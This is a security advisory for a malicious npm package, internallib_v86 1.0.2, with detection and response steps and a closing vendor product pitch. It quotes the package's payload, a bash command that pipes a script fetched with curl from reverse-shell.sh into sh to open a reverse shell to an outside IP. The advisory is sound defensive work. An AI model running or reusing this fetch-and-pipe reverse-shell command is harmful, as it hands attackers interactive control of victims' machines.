internallib_v86npm
Advisory published Updated
internallib_v86 is a confirmed malicious npm package (MAL-2026-17634) that executes malicious code on install (malicious version 1.0.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in internallib_v86 (npm)
What this malware does
internallib_v86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting 10.0.19.80:443. Any consumer that requires the package and calls the exported function causes the installer's host to fetch a reverse-shell script from reverse-shell.sh and pipe it to a shell, giving an interactive remote shell on the installer to whoever controls 10.0.19.80. The package name is generic and no legitimate functionality is implemented alongside this behavior.

Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for internallib_v86 (version 1.0.2).
If you installed it — respond
Remove internallib_v86 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If internallib_v86 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Detect & block this
O3 blocks internallib_v86-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.
